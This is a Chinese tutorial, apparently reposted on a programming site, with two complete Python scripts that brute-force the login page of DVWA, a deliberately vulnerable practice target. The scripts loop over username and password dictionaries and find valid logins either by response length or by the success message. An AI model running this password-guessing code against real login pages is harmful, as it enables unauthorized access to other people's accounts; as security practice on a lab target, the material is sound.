Python破解网站登录密码脚本
作者:陈程 时间:2022-09-29 23:21:38
测试靶机为DVWA,适合DVWA暴力破解模块的Low和Medium等级
关键代码解释
url指定url地址
url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
header设置请求头
header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=geo7gb3ehf5gfnbhrvuqu545i7'
}
payload设置请求参数
payload = {'username':username,'password':password,"Login":'Login'}
这一行的作用是作一次get请求,响应信息被变量Response接收
Response = requests.get(url,params=payload,headers=header)
这两行代码循环遍历账号和密码字典文件,之后给他们做笛卡尔积循环暴力破解
这种方式和burp的Intruder模块的Cluster bomb攻击方式一样
for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):
for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):
然后把循环结果存放到csv文件里,用逗号分割数据
Response.status_code是响应的http状态码,len(Response.content)是http响应报文的长度
result = str(Response.status_code) + ',' + username + ','\
+ password + ',' + str(len(Response.content))
f.write(result + '\n')
完整代码
方法一
登陆成功的和失败返回数据不同,所以数据包长度也不同。包长度与其他不同的数据,可能就是正确的账号密码。
import requests
url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= {"http":"http://127.0.0.1:8080"} #代理设置,方便burp抓包查看
header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
}
f = open('result.csv','w')
f.write('状态码' + ',' + '用户名' + ',' + '密码' + ',' + '包长度' + '\n')
for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):
for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):
username = admin.strip()
password = line.strip()
payload = {'username':username,'password':password,"Login":'Login'}
Response = requests.get(url,params=payload,headers=header)
result = str(Response.status_code) + ',' + username + ','\
+ password + ',' + str(len(Response.content))
f.write(result + '\n')
print('\n完成')
运行结果
运行
这就是脚本发送的数据包
查看结果
查看包长度与其他不同的数据,登录测试
方法二
这个方法是根据登陆成功的返回特征来判断是否为正确的账号密码,然后把正确的账号密码输出到屏幕和txt文件里
主要改动在第17到20行
import requests
url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= {"http":"http://127.0.0.1:8080"} #代理设置,方便burp抓包查看
header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
}
f = open('result.txt','w')
for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):
for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):
username = admin.strip()
password = line.strip()
payload = {'username':username,'password':password,"Login":'Login'}
Response = requests.get(url,params=payload,headers=header)
if not(Response.text.find('Welcome to the password protected area')==-1):
result = username + ':' + password
print(result)
f.write(result + '\n')
print('\n完成')
运行结果
来源:https://segmentfault.com/a/1190000041277378
标签:Python,破解,登录密码
![](/images/zang.png)
![](/images/jiucuo.png)
猜你喜欢
SQL Select语句完整的执行顺序
2008-09-28 21:22:00
python Matplotlib基础--如何添加文本和标注
2022-09-17 15:51:05
![](https://img.aspxhome.com/file/2023/4/75114_0s.png)
Javascript Closures (1)
2009-03-18 12:14:00
Linux下Python脚本自启动和定时启动的详细步骤
2022-08-13 20:51:22
![](https://img.aspxhome.com/file/2023/3/83983_0s.png)
PyTorch策略梯度算法详情
2022-12-20 14:35:12
![](https://img.aspxhome.com/file/2023/7/86617_0s.png)
python实现监控windows服务并自动启动服务示例
2021-01-19 01:30:13
python查询MySQL将数据写入Excel
2023-12-15 13:48:11
![](https://img.aspxhome.com/file/2023/8/70868_0s.png)
PHP Laravel实现文件下载功能
2023-11-18 12:20:27
Python绘图Matplotlib之坐标轴及刻度总结
2023-10-01 15:56:39
![](https://img.aspxhome.com/file/2023/9/62899_0s.png)
JavaScript大牛:Douglas Crockford
2009-03-31 12:06:00
![](https://img.aspxhome.com/file/UploadPic/20093/31/yui-team-14s.jpg)
asp dictionary对象使用介绍
2008-05-30 13:51:00
python实现神经网络感知器算法
2021-03-06 11:23:39
![](https://img.aspxhome.com/file/2023/9/91979_0s.png)
python matplotlib实现条形图的填充效果
2022-03-12 07:55:20
![](https://img.aspxhome.com/file/2023/1/79561_0s.jpg)
如何从ASP连接到Oracle Server?
2009-11-15 19:52:00
python pandas 对series和dataframe的重置索引reindex方法
2023-08-25 08:10:57
python基于opencv实现人脸识别
2021-10-15 12:49:16
![](https://img.aspxhome.com/file/2023/8/68468_0s.jpg)
段正淳的css笔记(5)未知图片垂直居中的方法
2007-11-01 22:06:00
windows下使用GoLand生成proto文件的方法步骤
2023-08-25 16:04:21
![](https://img.aspxhome.com/file/2023/2/99632_0s.jpg)
Python个人博客程序开发实例用户验证功能
2023-07-31 14:24:36
![](https://img.aspxhome.com/file/2023/2/61192_0s.png)
python爬虫Scrapy框架:媒体管道原理学习分析
2022-11-23 15:07:03
![](https://img.aspxhome.com/file/2023/8/87738_0s.jpg)